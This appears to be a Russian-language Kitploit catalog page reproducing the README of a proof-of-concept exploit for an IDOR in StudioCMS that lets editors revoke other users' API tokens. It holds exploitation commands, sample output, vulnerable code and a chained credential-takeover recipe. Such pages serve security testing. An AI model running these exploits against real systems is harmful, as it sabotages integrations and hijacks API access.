Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-30945-PoC — Proof-of-concept эксплойт для CVE-2026-30945, IDOR в StudioCMS, позволяющий произвольный отзыв API-токенов и отказ в обслуживании. Включает режимы ручного и автоматизированного тестирования. | Kitploit
Инструменты/GitHubGitHub/filipegaudard/cve-2026-30945-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность API
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

Proof-of-concept эксплойт для CVE-2026-30945, IDOR в StudioCMS, позволяющий произвольный отзыв API-токенов и отказ в обслуживании. Включает режимы ручного и автоматизированного тестирования.

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🗑️ CVE-2026-30945

StudioCMS IDOR — Произвольный отзыв API-токенов, приводящий к отказу в обслуживании

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Обзор

Конечная точка DELETE /studiocms_api/dashboard/api-tokens в StudioCMS ≤ 0.3.0 позволяет любому аутентифицированному пользователю с правами editor или выше отзывать API-токены, принадлежащие любому другому пользователю, включая учётные записи admin и .

owner

Обработчик принимает tokenID и userID непосредственно из тела запроса без проверки владения токеном, личности вызывающего или иерархии ролей. Это позволяет осуществлять целенаправленный отказ в обслуживании критически важных интеграций и автоматизаций.

Связано: Эта уязвимость имеет ту же первопричину, что и CVE-2026-30944 (IDOR при генерации токенов). При объединении в цепочку злоумышленник может отозвать легитимные токены и сгенерировать новые, добившись полного захвата учётных данных API.

Схема атаки

root@kitploit:~
┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Attacker   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Server     │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Owner's     │
                                              │  CI/CD       │
                                              │  Pipeline    │──► ❌ 401 Unauthorized
                                              │  Integration │──► ❌ API Access Lost
                                              │  Monitoring  │──► ❌ Silent Failure
                                              └──────────────┘

Детали уязвимости

ПолеЗначение
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639: Обход авторизации через управляемый пользователем ключ
CWE (дополнительно)CWE-863: Некорректная авторизация
MITRE ATT&CKT1531 — Удаление доступа к учётной записи
OWASP APIAPI1:2023 — Нарушенная авторизация на уровне объектов
Затронутоstudiocms ≤ 0.3.0
Исправлено вstudiocms 0.4.0

Содержимое

ФайлОписание
cve_2026_30945_poc.pyPython-скрипт эксплуатации с ручным и автоматическим режимами
README.mdЭтот файл
LICENSEЛицензия MIT

Предварительные требования

  • StudioCMS ≤ 0.3.0 (уязвимая версия)
  • Python 3.8+
  • Действительные учётные данные как минимум для учётной записи Editor
  • Известный UUID записи токена (внутренний ID, не JWT)
root@kitploit:~
pip install requests colorama

Быстрый старт

Ручная эксплуатация

root@kitploit:~
# Отзыв конкретного токена, принадлежащего владельцу
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Объединение с CVE-2026-30944: сначала создание токена для цели
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Сохранение результатов в JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

Автоматическое тестирование

root@kitploit:~
# Тестирование с несколькими ролями
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

Аргументы

Обязательные

АргументОписание
-u, --urlБазовый URL целевого StudioCMS
--target-uuidUUID целевого пользователя, чей токен будет отозван

Необязательные

АргументОписание
--token-idВнутренний UUID записи токена для отзыва (не JWT). Если опущен, скрипт сначала попытается создать токен через CVE-2026-30944

Ручной режим

АргументОписание
--usernameИмя пользователя для аутентификации
--passwordПароль для аутентификации

Режим автоматического тестирования

АргументОписание
--auto-testВключить автоматическое тестирование с несколькими ролями
--editor-userИмя пользователя учётной записи Editor
--editor-passПароль учётной записи Editor
--visitor-userИмя пользователя учётной записи Visitor
--visitor-passПароль учётной записи Visitor

Флаги

АргументОписание
--saveСохранить результаты в JSON-файл
--no-ssl-verifyОтключить проверку SSL-сертификатов

Пример вывода

Уязвимая система

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [+] Token revoked! Server response: Token deleted
  [!] VULNERABILITY CONFIRMED — Token successfully revoked!
  [!] Target user's API integrations are now broken (DoS)

Исправленная система

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Revocation failed: Access denied (403 Forbidden)

Цепочка атак (CVE-2026-30944 + CVE-2026-30945)

При объединении с IDOR при генерации токенов (CVE-2026-30944) злоумышленник может выполнить полный захват учётных данных API:

root@kitploit:~
Step 1: Revoke owner's legitimate token    (CVE-2026-30945)
   └──► Owner's CI/CD pipelines break silently

Step 2: Generate new token for owner       (CVE-2026-30944)
   └──► Attacker now has owner-level API access

Step 3: Owner creates a new token to fix
   └──► Attacker revokes it again (persistent DoS)

Это создаёт сценарий, в котором злоумышленник сохраняет постоянный контроль над API-доступом владельца, многократно отзывая любые новые токены, создаваемые владельцем, сохраняя при этом собственный нелегитимный доступ.


Первопричина

Уязвимый обработчик в packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (строки 58–99) принимает tokenID и userID из тела запроса и передаёт их напрямую в функцию удаления без каких-либо проверок авторизации:

root@kitploit:~
// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // No ownership check
    userID: string;     // No identity check
}>(ctx);

// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

Обработчик имеет пять различных недостатков: недостаточный шлюз разрешений, отсутствие проверки владения токеном, отсутствие проверки личности вызывающего, отсутствие контроля иерархии ролей и прямая передача управляемых пользователем значений в деструктивную операцию.


Воздействие

  • Отказ в обслуживании — API-токены, используемые в CI/CD-конвейерах, сторонних интеграциях или системах мониторинга, могут быть молча отозваны
  • Избирательный саботаж — редактор может точечно отзывать токены у конкретных администраторов или владельцев
  • Отсутствие аудиторского следа — отзыв обрабатывается как легитимная операция, что затрудняет установление виновного
  • Постоянный DoS при объединении в цепочку — в сочетании с CVE-2026-30944 злоумышленник может многократно отзывать любые новые токены, создаваемые жертвой

Меры по устранению

Обновите StudioCMS до версии 0.4.0 или новее:

root@kitploit:~
npm install studiocms@latest

Правовое уведомление

Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.

  • Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение
  • Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций
  • Автор не несёт ответственности за неправомерное использование этого инструмента
  • Всегда соблюдайте практики ответственного раскрытия уязвимостей

Ссылки

  • CVE: CVE-2026-30945
  • Advisory: GHSA-8rgj-vrfr-6hqr
  • Связанный CVE: CVE-2026-30944 (IDOR при генерации токенов)
  • CWE: CWE-639 — Обход авторизации через управляемый пользователем ключ
  • OWASP: API1:2023 — Нарушенная авторизация на уровне объектов
  • MITRE ATT&CK: T1531 — Удаление доступа к учётной записи

Автор

Filipe Gaudard


Лицензия

Этот PoC выпущен под лицензией MIT в образовательных целях. Используйте ответственно и этично.

Скачать инструмент